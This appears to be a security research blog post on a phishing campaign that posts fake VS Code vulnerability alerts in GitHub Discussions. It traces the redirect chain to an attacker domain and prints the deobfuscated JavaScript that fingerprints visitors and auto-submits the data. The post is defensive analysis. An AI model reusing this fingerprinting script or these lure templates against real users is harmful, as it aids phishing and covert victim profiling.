Widespread GitHub Campaign Uses Fake VS Code Security Alerts to Deliver Malware
Widespread GitHub phishing campaign uses fake Visual Studio Code security alerts in Discussions to trick developers into visiting malicious website.
- Sarah Gooding

- Peter van der Zee

A large-scale phishing campaign is targeting developers directly inside GitHub, using fake Visual Studio Code security alerts posted through Discussions to trick users into installing malicious software.
Here's one example, saved to the Internet Archive, as we assume these will quickly be taken down:

Early searches show thousands of nearly identical posts across repositories, indicating this is not an isolated incident but a coordinated spam campaign.
Because GitHub Discussions trigger email notifications for participants and watchers, these posts are also delivered directly to developers’ inboxes. This extends the reach of the campaign beyond GitHub itself and makes the alerts appear more legitimate.
Fake “Critical Vulnerability” Alerts at Scale
#Attackers are creating GitHub Discussions that mimic legitimate security advisories, often using variations of the same template:
- “Visual Studio Code – Severe Vulnerability – Immediate Update Required”
- “Critical Exploit – Urgent Action Needed”
- “Severe Threat – Update Immediately”
Each post claims a newly discovered vulnerability in VS Code, often referencing fabricated CVEs and version ranges, and urges developers to install an “updated” version from an external link.
Across GitHub search results, hundreds to thousands of these Discussions appear within minutes of each other, often posted by newly created or low-activity accounts.

Mass Targeting Through GitHub Discussions
#Instead of relying on email or malicious packages, attackers are:
- Opening Discussions across many repositories
- Reusing near-identical content with slight variations
- Tagging large numbers of developers in each post
- Impersonating maintainers or security researchers
This mirrors patterns seen in other GitHub phishing campaigns, where attackers mass-create posts or issues to amplify reach and trigger notifications to users .
The result is amplification through GitHub’s own notification system, making the messages appear legitimate and urgent.
External Links Deliver the Payload
#Each Discussion includes a link to download the supposed “patched” version of VS Code.
These links:
- Point to file-sharing services (such as Google Drive)
- Bypass official distribution channels
- Are presented as urgent security fixes
Legitimate VS Code updates are never distributed this way. It's another example of a phishing campaign where attackers use convincing GitHub-based lures combined with off-platform payload delivery.
We analyzed one of the payloads linked in these GitHub Discussions and found a multi-step redirection chain leading to a lightweight, obfuscated JavaScript reconnaissance page.
The full chain observed:
1. GitHub Discussion → share.google/...
2. Google endpoint behavior depends on cookies:
- With Google cookie → 301 redirect to drnatashachinn[.]com/...
- Without cookie → serves fingerprinting page directly
3. If redirected → drnatashachinn[.]com/... (C2)
4. JS auto-POSTs data back to the same endpoint
We observed that the Google endpoint behaves differently depending on whether the request includes a Google cookie. Requests with a valid cookie are redirected to the external domain, while cookieless requests are served a fingerprinting page directly.
When we curled from Google with a cookie (even -H 'Cookie: NID=530=test'), Google responded with a 301 redirect to drnatashachinn[.]com instead of serving the fingerprinting HTML directly.
Since most real users browsing GitHub will have Google cookies set, they are likely routed straight to the attacker-controlled infrastructure. The alternate response path appears to act as a fallback for bots, scanners, or non-browser environments.
The infrastructure uses Google’s share.google endpoint as an initial distribution layer, redirecting most real users to drnatashachinn[.]com, which functions as the command-and-control endpoint.
Fingerprinting and Data Collection
#The JavaScript fingerprinting logic is delivered as part of the landing flow and collect:
- Timezone and locale
- Platform and user agent
- Secondary user agent via hidden iframe
- Automation signals (e.g.,
navigator.webdriver) - URL hash values, likely used for campaign tracking
Deobfuscated JavaScript payload:
// Apply subtle CSS filter to the page (anti-detection visual marker)
document.documentElement.style.cssText = "filter:hue-rotate(4deg)"
// Collect browser fingerprint data
let d = -new Date().getTimezoneOffset() // UTC offset in minutes
let n = Intl.DateTimeFormat().resolvedOptions().timeZone // IANA timezone
let sp = navigator.platform // OS platform
let su = navigator.userAgent // Browser user agent
let iu = (document.getElementsByTagName("iframe")[0].contentWindow
|| document.getElementsByTagName("iframe")[0].contentDocument)
.navigator.userAgent // iframe UA (detects spoofing)
let wd = navigator.webdriver // Bot/automation detection
let hp = document.location.hash // URL hash (campaign tracker)
let data = { d, n, sp, su, iu, wd, hp }
// Create hidden form and auto-submit fingerprint data via POST
const form = document.createElement("form")
form.method = "POST"
form.action = "" // POSTs back to current URL
const input = document.createElement("input")
input.type = "hidden"
input.name = "d"
input.value = JSON.stringify(data)
form.appendChild(input)
document.body.appendChild(form)
form.submit()This data is encoded and automatically submitted via a POST request back to the same URL, with no user interaction required.
Gating and Evasion
#Additional evasion techniques include:
- Obfuscation via array-shuffling and string reconstruction
- Hidden iframe checks to detect spoofed environments
- Immediate form submission to minimize observable behavior
No Immediate Payload Delivery
#The script does not attempt to capture credentials or deliver a visible second-stage payload. Instead, it acts as a filtering layer.
This behavior is consistent with a traffic distribution system (TDS), where victims are profiled before being routed to a follow-on payload such as a phishing page, exploit kit, or scam.
We will update this analysis if additional stages or infrastructure are identified.
Why This Works
#Several factors make this campaign effective:
- GitHub is a trusted environment for developers
- Security alerts create urgency and reduce skepticism
- Discussions are less scrutinized than official advisories
- @mentions create pressure to act quickly
- Repetition across repos reinforces perceived legitimacy
At scale, even low conversion rates can yield meaningful results for attackers.
What to Watch For
#Developers should treat unsolicited security alerts in GitHub Discussions with caution, especially when they include:
- External download links
- Unknown or unverifiable CVEs
- Urgent instructions to install software
- Mass tagging of unrelated users
- Recently created or unfamiliar accounts posting advisories
Always verify security claims through official vendor channels.
GitHub’s collaborative features are becoming viable distribution channels for phishing at scale. As attackers continue to adapt, developers should expect more campaigns that blend social engineering with legitimate platform functionality.
We are continuing to track the spread of this campaign and how it evolves.




